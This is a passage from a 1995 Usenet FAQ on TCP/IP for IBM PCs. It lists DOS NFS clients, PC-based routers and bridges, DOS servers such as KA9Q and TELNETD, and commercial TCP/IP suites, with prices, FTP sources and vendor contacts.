Home or Ed. use $15 (Shareware) This a shareware NFS client by Mike Durkin. The shareware fee includes the right to a year's worth of free upgrades. All TCP/IP stack versions of it are available under one license. Site license discounts start at 20 machines. I have tried this, and it works well. The latest version includes a built-in packet multiplexer in the WATTCP version. Other features include the ability support for remote printing using pcnfsd or bwnfsd. Available at: ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/bugs.lst (Known and recently fixed bugs list) ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs025-m.zip ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs025-m.zip (MS-DOS NFS client for Microsoft Lan Manager) ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257n.zip ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257n.zip (MS-DOS NFS client for Novell LAN WorkPlace) ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip (MS-DOS NFS client for Trumpet TCPDRV) ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257w.zip ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257w.zip (WATTCP MS-DOS NFS client) Mike Durkin, mailto:mdurkin@wiretap.spies.com *Downright speculation XFS and XFS-32 Shareware Educational license$15
Commercial $25 This is another NFS client implementation for MS-DOS, by Robert Juhasz (mailto:robertj@lwfws1.uni-paderborn.de). It runs over packet drivers and includes a built-in PKTDRVR multiplexer so you can run other software concurrently. It is also possible run this under WFW using DIS_PKT, or Novell Netware using ODIPKT. XFS32 is a version for those running WFW and Microsoft TCP/IP-32. A UNIX pcsnfsd is recommended, but not required. This version requires TCP/IP-32 because the current Winsock API definition (v1.1) doesn't support some of the functionality that an NFS client needs. There are site license discounts. Requires a 286. Available as: ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs186.zip The 32-bit version is available as: ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs32-11.zip ftp://lwfws1.uni-paderborn.de/pub/xfs Xlink Technology, Inc.; 1546 Centre Pointe Dr., Milpitas, CA 95035, fax: (408)263-8203, mailto:info@xlink.com ROUTERS AND BRIDGES Recommendation KA9Q Educational Use Free Commercial Use$50

KA9Q includes routing and packet filtering capabilities, along
with a variety of other client and server capabilities. See
the listing under Servers.

Suggestion
PCRoute v2.24 Free

This package can convert a PC into a TCP/IP router. It doesn't
require more than 1 Mb of memory, and works fine on an 8088,
although faster machines are recommended. This is a fast and
reliable router and recommended for routing between Ethernets.

ftp://ftp.acns.nwu.edu/pub/pcroute/pcroute2.24.tar.Z (executables)
ftp://ftp.acns.nwu.edu/pub/pcroute/p...2.24.src.tar.Z (source code)

Vance Morrison, LANport, Inc.; 2040 Polk Street #340,
San Francisco, CA 94109; (415)775-0188, mailto:lanport@cup.portal.com

Suggestion
PCBridge v2.77 Free

Originally by Vance Morrison of Northwestern, PCBridge has been taken
PCBridge is now ROMable. The
software is available at ftp://pical3.iet.unipi.it/pub/bridge/bdg277.tar.Z

Alessandro Fanelli, Luigi Rizzo (mailto:luigi@iet.unipi.it),
Universita di Pisa - via Diotisalvi 2, 56126 Pisa, Italy ;
+39-50-568533, fax: +39-50-568522

Downright Speculation
Drawbridge v2.0 (now in alpha test)

Drawbridge is a bridging filter for the 386 that requires two ethernet cards.
It is comprised of three programs: Filter, Filter Compiler and Filter Manager.

It is available at
ftp://net.tamu.edu/pub/security/TAMU...e-2.0a.tar.gz,

Downright Speculation
KarlBridge v1.41

This software, which uses WATTCP, provides a two port
Ethernet to Ethernet bridge that can filter based on any
Ethernet protocol, including IP, XNS, DECNET, LAT,
EtherTalk, NetBEUI, Novell IPX, etc. It will also
act as an IP firewall by filtering IP packets based on
IP address/network/subnet combinations and socket numbers.
It can also filter DECNET and AppleTalk Phase 1 & 2 packets.
It now supports SNMP queries for remote management. Novell
SAP and NCR WaveLAN filtering are coming in a future release.

Available at ftp://128.146.1.7/pub/kbridge/kbridge141.zip
For information: http://www.gbnet.net/kbridge/
gopher://gopher.gbnet.net/KarlBridge/
mailto:sales@gbnet.com (UK/Europe)
mailto:sales@KarlNet.com (US/elsewhere)

DOS SERVERS

Recommendation
KA9Q
Educational Use Free
Commercial Use $50 There are several versions of KA9Q, each with different capabilities. The current most capable versions are the ones put together by the folks at Demon Internet Services (DIS) in the UK, and the version put out by Ashok Aiyar at CWRU. CWRU Version 1.0b is based on the N1BEE 0.85-beta which in turn is based on PA0GRI 2.0m NOS, and includes support for NTP, CSO, Gopher, FTP, and SMTP/POP2/POP3 servers, plus VT102 and packet filtering support. Base code is by Ashok Aiyar, ashok@biochemistry.cwru.edu. The Textwin version from DIS does not include Gopher support, but does support Domain Name Service and can act as an NNTP server. KA9Q can route TCP/IP packets over X.25, Ethernet, LocalTalk (with a special version), and serial lines (via SLIP/CSLIP/PPP). It supports connection to 56 Kbps leased lines via a CSU/DSU and an SCC card, and supports up to 4 serial ports per machine. This means you can purchase a 56 Kbps Internet link, then divide it among 4 users, bringing the cost way down. KA9Q is a useful tool for sysops looking to hook their systems to the Internet, regardless of what kind of computer the BBS runs on. Available as: ftp://biochemistry.cwru.edu/pub/nos/nos11c.exe, ftp://biochemistry.cwru.edu/pub/nos/nos11c.txt, ftp://biochemistry.cwru.edu/pub/nos/nos11c.map, ftp://biochemistry.cwru.edu/pub/nos/nos192.txt, ftp://biochemistry.cwru.edu/pub/nos/nos_1229.man, ftp://biochemistry.cwru.edu/pub/nos/vt102.zip, ftp://biochemistry.cwru.edu/pub/nos/filter.txt, ftp://biochemistry.cwru.edu/pub/nos/autoexec.nos Alternative sites: ftp://ucsd.edu/hamradio/packet/tcpip/ka9q ftp://boombox.micro.umn.edu/pub/gopher/PC_server/ka9q A Macintosh port (NetMac) is available at ftp://sumex-aim.stanford.edu/info-mac/comm/ Textwin (multiwindowing version with mouse support) package is available in three versions: large, small and tiny. The tiny package includes support for NNTP, SMTP and POP servers; the small version adds support for FTP servers; and the large version adds packet filtering, RIP and DNS support, and is the version that I tested the config files with. Available as: ftp://ftp.demon.co.uk/pub/ibmpc/textwin. Contact: mailto:amc@beryl.demon.co.uk, mailto:amccarthy@cix.compulink.co.uk, mailto:100012.3712@compuserve.com Phil Karn, KA9Q; 7431 Teasdale Ave, San Diego, CA 92122; (619)587-8281, fax: (619)587-1825 Recommendation SLIPLOG and SLIPKIT SLIPLOG is a small (&lt;6K) TSR that adds login and remote control features to any SLIP packet driver, allowing you to use KA9Q as a dialin SLIP server. All the programd you need are included in the SLIPKIT distribution, including the latest NOS version, CSLIPPER, PKTMUX, the NDIS3PKT.386 chim, WINPKT, SLIPLOG, COMTOOL, GETNEWS, KA9Q docs, and a manual. Assembly language source is also included. Features include: Cold booting on errors; login authentication, with time and date logging; can send a message file after connection, as well as the SLIP IP address; support for call-backs; on-demand dial; remote sysop capability; can run in DOS Virtual Machine under windows; can handle multiple lines on one machine. Available via: http://mvmpc9.ciw.uni-karlsruhe.de/ ftp://mvmpc9.ciw.uni-karlsruhe.de/go...c/nos/sliplog/ ftp://biochemistry.cwru.edu/gopher/pub/nos/ http://inorganic5.chem.ufl.edu/ ftp://inorganic5.chem.ufl.edu/gopher.../slip/sliplog/ If you have trouble accessing this with the ws-ftp client, set your servertype to ka9q. Karl-Heinz Weiss, University of Karlsruhe, (49)721-608-2418, (49)7244-1792, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de Downright Speculation NOSView v3.04 Written by Ian Wade, G3NRW, NOSView is online documentation for KA9Q, which describes all the NOS commands. It also contains a complete set of templates for use of KA9Q. Available at ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip Contact: Ian Wade, mailto:ian@g3nrw.demon.co.uk Downright Speculation Stan's Own Server Free SOS is based on the now-outdated PC-IP, and as a result is not used much anymore. However, there is no other publicly distributable NFS server package out there, so if you need one, you might as well try this. Available at ftp://sun.soe.clarkson.edu/pub/packet-drivers/soss.zoo, sossread.me. Also available at ftp://spdcc.com/pub/sos/soss.zoo, ftp://spdcc.com/pub/sos/sossexe.zoo A version with a couple of bugs fixed is available at ftp://hilbert.wharton.upenn.edu/pub/tcpip/soss.zip For info, contact: Richard Bruan, mailto:rbraun@spdcc.com, or Seemong Tan, mailto:stan@cs.uiuc.edu. Downright Speculation Hellsoft BOOTP and FTPD NLMs Available via ftp://novell.felk.cvut.cs/pub/nw311/ftpd, ftp://novell.felk.cvut.cs/pub/nw311/bootpd/ ftp://novell.felk.cvut.cs/pub/nw311/resolv/ Downright Speculation Gopher NLM Available via: ftp://kmat1.fjfi.cvut.dz/pub/gopherd/ ftp://ftp.pol.lublin.pl/sys/pub/pc/novell/gopherd/ Downright Speculation LPD Free FTP and BOOTP server included This software is a freeware line printer daemon as well as an FTP and BOOTP server. Available via ftp://tacky.cs.olemiss.edu/pub/lpd/lpd.zip, ftp://tacky.cs.olemiss.edu/pub/lpd/lpdsrc.zip Recommendation TELNETD Free TELNETD is a simple, free and unsupported TELNET server for PCs, by Erick Engelke. It works on top of packet drivers and lets you run most DOS software. However, it doesn't do everything; if you want a commercial-quality implementation, get Everywhere Access. Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/telnetd.zip Recommendation COMD Free COMD by Erick Engelke allows you to share serial port devices, including printers and modems with another TCP/IP connected computer. Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/comd.zip Downright Speculation SMTP server free An SMTP server for DOS. Available at: ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip ------------------------------ END OF PART 4 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp://ftp.zilker.net/pub/mailcom/ WWW page: http://www.zilker.net/users/internaut/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 5 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq/part5 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 5, 4/1/95 COMMERCIAL PRODUCTS Downright speculation TCP/IP BOOT-PROM The TCP/IP BOOT-PROM is a TCP/IP based Boot ROM available for about 34 Ethernet and Token Ring PC network controllers. It uses the protocols BOOTP and TFTP to download the DOS operating system and network software from a TCP/IP based servers like UNIX, NetWare, OS/2 or Windows NT. Several network software like PC-NFS, PC/TCP, PC-Interface, B&W NFS, LAN WorkPlace, NetWare, NetWare/IP, LanManager, TUN and other are supported on the diskless client site. The builtin application interface allows to access the ROMs TCP/IP stack for building low cost terminals or downloading other operating systems e.g. UnixWare. Dirk Koeppen EDV-Beratungs-GmbH, Germany Phone: +49 69 89 3000, Fax: +49 69 89 3004, mailto:dirk@incom.de Downright Speculation 3Com TCP w/ DPA v2.0 3Com; (800)638-3266 Recommendation Internet in a Box$99

After much fanfare, Internet in a Box has finally shipped. This
includes a special version of Ed Krol's book, alongside a suite
with Gopher, Mosaic, Telnet, Mail, and News. The installation
procedure is quite streamlined in that it sets up all the stack
as well as all the applications in one fell swoop. The PPP

Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,
(800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,
mailto:info@spry.com

Downright Speculation
AIR Series 3.0
50% discount on tradein of another package
AIR Mosaic $29.95 This includes Telnet, FTP (integrated with File Manager), tn3270, NFS, Mosaic, SMTP, News, Gopher, and FTP/RCP servers, LPR, LPD, ImageView, UUCode, X-Windows, SNMP, PPP, NetBIOS support, on-demand dial. A demo version of AIR Mosaic is available via: ftp://ftp.spry.com/vendor/spry/demo/...o/amosdemo.exe Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300, (800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com, mailto:info@spry.com Downright Speculation Teemtalk for DOS Teemtalk for Windows Teemtalk supports connections over ARPA Services 2.0+ (HP), Beame & Whiteside, CTerm (DEC), Int-6B (Novell NASI), Int-14, MS LanManager, Lan Workplace, LAT, NetBIOS, Netmanage Chameleon, OSLAN (ICL), Pathway, PC-NFS, PCTCP, TELAPI (Novell), and also support Windows Sockets, and regular or BIOS level serial connections. Emulations include VT 52/100/220/240/320/340/640, Viewdata 40/80/Split, DG200, HP2392A, Tek4014, Regis and W2119. Protocol support Kermit and Xmodem. It also supports DDE. Pericom, 1-609-895-0404 (US) and 0908-265533 in the UK. *Suggestion BW-NFS v3.1 for DOS & Windows NFS is implemented as a TSR; the TCP stack is a device driver. The package supports SLIP, NFS client, Telnet (VT220 and 3270 emulation), finger, talk, ftp, and SMTP mail. It also can act as a server for telnet, FTP, NFS, finger, and lpd. The 3270 emulation is reportedly OK. The BW-Connect ftp client supports dragging and droppping of files between the server and client. This product cannot handle both a SLIP/PPP and a network adapter interface simultaneously, since the stack does not route. Beame & Whiteside Software Inc.; 706 Hillsborough St., Raleigh, NC 27603-1655 (919)831-8989, (800)463=6637, tech: (919)831-8975, fax: (919)831-8990, mailto:sales@bws.com Suggestion Chameleon v4.01 Internet Chameleon ChameleonNFS v4.01$400
ChameleonNFS v4.01 for NT

Chameleon is a Windows 3.x TCP/IP implementation that can handle FTP, TFTP,
Telnet (3270, 5250, ANSI, VT-52, VT100 and VT220 emulation), ping, SMTP, POP2,
NNTP and NFS (client and server) all in multiple windows, simultaneously. The
package also supports DNS via an implementation of BIND, as well as SNMP.
ChameleonNFS is compatible with the IPX/Link product for Netware from
NetManage. Most of the code resides in a DLL. Chameleon supports multiple
interfaces, and can route between them. It also supports SLIP, CSLIP, and PPP,
and has a built-in SNMP agent. The Internet Chameleon package only supports
dialup IP; for network adapter support, you need to purchase Chameleon.

NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,
(408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com

Downright speculation
Distinct Network Applications v3.02 $395 Distinct Software Development Kit$495
Network & Developer Combination $695 Distinct TCP/IP for Windows - Network Applications v3 integrates several Windows based TCP/IP utilities under a single interface. These include: Distinct Telnet which allows multiple concurrent Telnet sessions on different remote hosts, allowing you to cut and paste information between these systems as well as between the systems and your local host. Distinct FTP is a drag and drop FTP which allows you to drag a local or remote file to a local printer. Distinct FTP has both a client and a server; this means that files can be also transferred by selected users from PC to PC (password protection is included). TFTP provides file transfer services to communications servers and routers that do not have FTP. Network Monitor monitors host-to-host communication and data transmission traffic and is able to capture network traffic to a file. Distinct TCP/IP for Windows - Software Development Kit This product is engineered as 100% DLL, and requires only 4 Kb DOS memory for a driver. The product supports up to 64 concurrent sockets, and buffers are allocated and deallocated as they open and close. Includes three development kits: Distinct TCP/IP for Windows - Berkeley-style Sockets (TCP, UDP, ICMP, Telnet, FTP) Distinct TCP/IP for Windows - Windows Sockets ver. 1.1 Distinct RPC - a complete ONC RPC/XDR toolkit for Windows (Client and Server RPC over both TCP and UDP; includes RPCGEN) Distinct Corporation;14395 Saratoga Avenue, Suite 120, Saratoga, CA 95070; (408)741-0781, fax: (408)741-0795, mailto:chris@distinct.com Distinct Corporation; P.O. Box 3410, Saratoga, CA 95070-1410; (408)741-0781, mailto:mktg@distinct.com Suggestion Everywhere Access This is a remote access package for TCP/IP, including support for telnet server, FTP and Kermit transfers, VT100, VT220, VT300 emulation, password security. Includes versions working with WATTCP as well as other implementations. Supro Network Software Inc.; P.O. Box 18, Warsaw, Ontario, Canada K0L-3A0; (705) 652-1572, mailto:info@snsi.com Downright Speculation Fusion Pacific Software; (800)541-9508 Downright Speculation ICE/TCP James River Group; 125 North First St., Minneapolis, MN 55401; (612)339-2521, mailto:jriver@jriver.com Downright Speculation Lanera TCPOpen/Standard v2.2 Lanera Corporation; 516 Valley Way, Milpitas CA 95035; (408)956-8344, mailto:lanera@netcom.com Downright Speculation Lantastic for TCP/IP Artisoft, Inc.; 691 East River Road, Tucson, AZ 85704; (602)293-6363 Suggestion LAN Workplace for DOS v4.1r8 Novell, Inc.; 122 East 1700 South, Provo, UT 84606; (800)772-UNIX Downright Speculation NS & ARPA Services v2.5 Hewlett-Packard; 19420 Homestead Rd., Cupertino, CA 94014; (408)725-8111 Recommendation The Wollongong Group's PathWay Access A family of complete IP Services for DOS/Windows, Macintosh, OS/2, and VMS systems, as well as SNMP and X-400/X-500 products. Wollongong has been providing IP solutions for over 14 years. PathWay Access for DOS/Windows 3.0 - This product has been significantly enhanced with the majority of changes being to the Windows applications, emulations and remote access. Integrated into Windows, the applications are Windows Sockets compatible. Support for all NOS, extensive DBMS and third party support. VT100-220, VT320-330, VT240-340, 3270 mods 2-5, 3179g, tek4010-4105, drag & drop FTP client/server, LPR/LPD/IPR, NetBIOS, NDIS/ODI/PDS/ASI, SLIP/CSLIP/PPP/X.25, MIB2 SNMP agent, Scripting, Graphical Remapping, NFS, SMTP/IMAP/POP(MIME), NetNews reader. Pricing: Many different pricing schemes exist for these products based on customer requirements, from shrink-wrap bundles to expandable licenses that can be added to in any number, with discounts based on accrued amount levels. Aggressive educational discounts and trade-up pricing are offered. PathWay Access (Single User-DOS/Windows or Mac) -$350
Client NFS module - $95 API -$200

Technically supported evaluations are provided free of charge to qualified
individuals. Also offered is a demonstration disk tour of PathWay Access 3.0
free and yours to keep.

The Wollongong Group; 1129 San Antonio Rd, Palo Alto, CA 94301;
800-872-8649 (Outside Cal), 800-962-8649 (In Cal), (519)747-9900
(415)962-7202, mailto:sales@twg.com

*Downright Speculation
JSB Multiview 4.01

JSB; 108 Whispering Pines Dr., Suite 115, Scotts Valley, CA 95066;
(408)438-8300

*Downright Speculation
Reflection TCP Suite 4.0

Reflection TCP includes ftp (client and server), lpr, and telnet. The
stack supports an SNMP agent.

Walker, Richer and Quinn; 1500 Dexter Ave. N., Seattle, WA 98109; (206)217-7500

*Downright Speculation
LAN Workgroup/NFS 4.2

This is the package to get if you're running NetWare. Includes support for
NFS (client), BOOTP (client and server), lpr/lpd, telnet, and NIS.

Novell; 122 E. 1700 S., Provo, Utah, 84606; (800)638-9273

Downright Speculation
PC-Interface Plus 2.0

PC-Interface Plus includes an ftp client reminiscent of the Windows File
Manager, a TinyTerm telnet client; and a repackaged version of Eudora for mail.

Locus Computing; 9800 La Cienega Blvd., Inglewood, CA 90301; (310)670-6500

Downright Speculation

X LINK Technology; 741 Ames Avenue, Milpitas CA 95035; (408)263-8201, fax:

Downright Speculation
TCP Pro

TCP Pro is a TCP/IP stack for Windows, Windows for Workgroups,
DOS, OS/2, and NT. The base package includes both Real Mode
and VxD version of the stack as well as support for WinSock 1.1, NetBIOS,
extended NetBIOS, NETCI (INT6B), and INT61 (FTP Software, Inc.) interfaces.

The stack also includes native NDIS and ODI drivers (not shims) and a
suite of appliations, including Telnet, Ping, FTP Client (Drag and Drop),
FTP Server, TFTP Server, and a News Reader. They also offer a VxD
Remote Access solution which includes a PPP/SLIP module and a Windows dialer.
SNMP MIB 2 and a DHCP client are also included. E-mail and a Web browser are
due in release v1.1, which will ship in December, 1994.

Steve Perricone, Network Telesystems; 3990 Freedom Circle, Santa Clara, CA 95054;
(408)562-7766, mailto:sperrico@ub.com

*Suggestion
PC-NFS v5.1 $395 PC-NFS from SunSoft (a Sun Microsystems business) includes a TCP/IP stack, TCP/IP utilities under DOS and Windows, an NFS client, remote printing support, SNMP, and Windows Sockets. Add-on packages support email and advanced telnet. A Programmer's Toolkit is available which provides DOS and Windows support for TCP/IP over sockets and XTI, as well as TIRPC, NIS and supporting APIs. SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271 Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA), +44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe), +33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan) *Suggestion PC-NFSpro v1.1$395

PC-NFSpro from SunSoft (a Sun Microsystems business) is a Windows-only
32-bit VxD product. It includes a TCP/IP stack, PPP, NetBIOS, and NFS
client (all VxDs), remote printing, SNMP, and Windows Sockets. Bundled
applications include VT320 telnet, email, FTP, and RSH/REXEC. Servers
are provided for print, FTP and telnet. DHCP and BOOTP are supported.
Driver support includes NDIS2, NDIS3, ODI, and packet drivers. Add-on
packages include 3270 and X Windows. On-line documentation is provided
on CD-ROM.

SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271
Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),
+44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),
+33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)

Recommendation
PC/TCP v2.2 $350 Kernel Only$200

PC/TCP v2.2 offers a solid implementation of TCP/IP for DOS, with some
Windows applications. It includes NFS for UDP or TCP, remote login
(telnet, rlogin, supdup) with a variety of terminal emulators, file
transfer (FTP, TFTP, rcp), electronic mail and news (pop2, pop3, pcmail,
mail, SMTP, NNTP), printing (LPR and print redirection) and informational
utilities (whois, ping, finger, host). Some kerberos support is available
to domestic customers. If used alongside ConcordCommunications Mapware
controllers, this product is capable of handling both OSI and TCP/IP
concurrently. 3270 support is OK.

It is available for Ethernet (DIX or 802.3), Token Ring, SLIP, PPP,
LocalTalk and X.25 interfaces, over packet drivers, ODI drivers, NDIS
drivers, banyan drivers, and ASI drivers.

This package does not route; you are therefore restricted to installing it
with PPP, SLIP or Ethernet, but not some combination of the above.

PC/TCP is incompatible with Stacker. As of version 2.2, the Windows
applications have been improved. New to Windows support is the ability to
mount and unmount NFS drives from within Windows, and to use PCNFSD printer
services from Windows.

The 2.2 manual includes a 6-page install guidelette, and now offers a

FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
mailto:sales@ftp.com, http://www.ftp.com/

*Suggestion
PC/TCP OnNet 1.1 for DOS/Windows $350 PC/TCP OnNet 1.1 for DOS/Windows$450 (with PC/TCP)

This is a graphical package from FTP Software with a VxD TCP/IP
stack. It includes clients for FTP, Telnet, NFS, news, mail, finger,
DHCP, BOOTP, NetBIOS, SNMP, tar and lpr as well as an FTP server, Kerberos
support and support for packet or ODI drivers. The OnNet ftp client
supports dragging and dropping files between hosts.

There is a bug in the telnet vt-100/220
emulation which is fixable via ftp'ing a new version.

Features of the software (from Graham Kenville, mailto:graham@mitta.com ):
1. Provides a nice GUI based way to configure printers and drive
attachment which is pretty easy to use. Makes it possible
to automatically mount whatever drives you usually mount
each time you start Windows. You can provide a default user
name. You only have to enter the password once per session
to mount all drives.
2. You can set up any PC running PC-TCP/OnNet to be a print server
for PC's and Unix. The icon and setup for this is all there,
but I haven't tried it yet.
3. The telnet is pretty good, provides VT-100/200 & DEC character
support. Allows you to print screen, save scroll-back buffer
to disk or print it, you can set the number of scroll-back lines
up to (I think) 3000.
4. Provides a ping/traceroute utility which works ok.

FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
mailto:sales@ftp.com, http://www.ftp.com/

*Downright Speculation
Acadia/VxD v1.0 ($256/user 10 user price,$395 single user)

Acadia/VxD consists of the TCP, IP, and UDP protocols and a set of Windows
and DOS utilities including FTP, telnet, SMTP, and POP3 client and server
mail with MIME support, TN3270, Winsock interface, NFS client and server, and
NetBIOS. Acadia/VxD uses _no_ conventional memory and provides data transfer
rates exceeding 600 Kbytes/Sec. Services such as NFS and lpd are started from
DOS. The ftp client does not support dragging and dropping between hosts, and
the Telnet application is licensed from Sun and is therefore part of PC-NFSpro.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Piper/IP ($199/user 10 user price,$375 single user)

Piper/IP is a complete TCP/IP suite of DOS and Windows applications. Piper/IP
runs in only 6K of memory, and provides exceptional performance with data
transfers exceeding 500 Kbytes per second. Piper/IP is network installable,
with a network install taking about 5 minutes total time. Piper/IP supports
all popular network drivers and operates with ODI, NDIS, VINES and Packet
Drivers, and has built in support for SLIP and PPP.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Developer's Kit ($475) The Ipswitch Developer's Kit for Acadia/VxD, Catipult, Piper/IP, and Vantage/IP consists of Ipswitch's tools for developing 16- and 32-bit Berkeley Sockets-based applications. The Ipswitch Developer's Kit is compatible with Microsoft C 5.1, C 6.0, C/C++ 7.0, Visual C 1.5, 2.0, and Borland C/C++ 3.1 and 4.0. Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150, fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/ *Downright Speculation Catipult (30 user gateway license$2975)

Catipult is a TCP/IP application gateway for NetWare. Catipult lets NetWare
workstations run TCP/IP applications concurrently with NetWare to communicate
with workstations, mini computers mainframes and other hosts running UNIX or
any of a wide variety of operating systems.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Vantage/IP ($256/user 10 user price,$395 single user)

Vantage/IP provides TCP/IP connectivity for OS/2 workstations with complete
OS/2 LAN integration and support for all popular APIs.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

IMail, INews, and WFTP, which ship with Acadia/Vxd and Piper/IP are also
available as separate products.

*Downright Speculation
IMail ($41.25 from the web site,$55 otherwise)

IMail is a complete TCP/IP mail system for Windows. Both SMTP and POP3
clients and servers are included. IMail has multiple mailboxes, powerful
filtering, and search capabilities, MIME support, file import/export, plus
personal and shared address books and aliases. IMail has an intuitive,
powerful interface that makes it easy to read, write, maintain, and archive
messages. IMail is compatible with any Winsock 1.1-compliant TCP/IP product.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Recommendation
WFTP ($38/user 10 users,$45 single user)

WFTP is a Windows FTP client with drag and drop file transfer, intuitive
directory and file displays, firewall protection, and support for more than
twenty types of remote file systems. WFTP is compatible with any Winsock
1.1-compliant TCP/IP product.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
SuperTCP v3.00r $495 SuperTCP Pro v1.1 SuperHighway Access for Windows SuperTCP supports telnet (3270, VT100, VT102, and VT220 emulation), talk, SMTP, ftp, and ping. SuperTCP supports both TCP/IP and Novell IPX protocols, as well as SNMP. It is written as a DLL, although a TSR version of the protocol stack is also available for those who want to use DOS as well. Network statistics (arp, ICMP messages, etc.) are available. The WinTapestry application is a single application supporting WWW, Gopher+, CSO, Archie, WAIS, GIF and JPEG image viewers, in addition to an Internet Organizer. WinTapestry offers multi-session support. The mail application supports MIME, personal and shared address book, prioritization of messages, sorting by date or subject, hierarchical folders, rule-based message filtering and offline creation or reading of mail. It also supports distribution lists, and automatic forwarding. The FTP application supports drag and drop transfers. The Telnet application supports VT100 emulation. There is also an NNTP newsreader. SuperTCP Pro includes clients and servers for NFS, telnet, lpr/lpd and FTP as well as an X server. The package comes with both a CD-ROM and floppy disks. Simultaneous use of SLIP/PPP and network adapter interfaces is supported. SuperHighway Access for Windows is a dialup version of the Super-TCP package. It supports SLIP/CSLIP/PPP and is compatible with Windows Sockets v1.1. it includes scripts for Internet Service Providers. Frontier Technologies;10201 North Port Washington Road, Mequon, WI 53092, (414)241-4555, fax:(414)241-7084, mailto:info@frontiertech.com, ftp://ftp.FrontierTech.COM/, Frontier BBS: (414)241-7083 *Downright Speculation Intercon TCP/Connect II This package is the same as SuperTCP NFS with the addition of a Gopher client, and without X support. Intercon Systems; 950 Herndon Pkwy., Herndon, VA 22070; (703)709-5500 Downright Speculation TCP/IP for DOS v2.10 IBM; Dept. E15, P.O. Box 12195, Research Triangle Park, NC 27709; (800)IBM-CALL Downright Speculation TCP/IP Utilities for LanManager v1.0 Windows for Workgroups TCP/IP Windows NT Microsoft; One Microsoft Way, Redmond WA 95052-6399; (206)882-8080 Downright Speculation TCP/2 for DOS Essex Systems; (508)532-5511 Downright Speculation TTCP v1.2r2 Turbosoft Pty Ltd; 248 Johnston St., Annandale, NSW Aus. 2038; +61 2 552 1266, mailto:info@abccomp.oz.au OS/2 *OS 3.0 Rumour has it that this includes a bunch of bundled applications, including a graphical Web browser, a Gopher, FTP, Telnet, Mail, and News. IBM, (800)426-2968, (800)426-2255 XWARE Downright Speculation Hummingbird Communications Hummingbird's PC X Server includes a TCP/IP stack. They offer PC X servers for DOS, Windows, OS2, and Windows NT. These work over network adapters, as well as serial lines, at which they claim to be especially good. Features include: 32-bit, X11R5, easy installation, network installation, remote network management and configuration, BASIC scripting language, local Motif window manager, telnet, drag and drop FTP, development kit for porting X apps to the PC platform, line printer deamon, support for dozens of other TCP/IP stacks, IPX/SPX, and DECnet, and telephone line access. The hardware requirements are a 386 or better, Windows 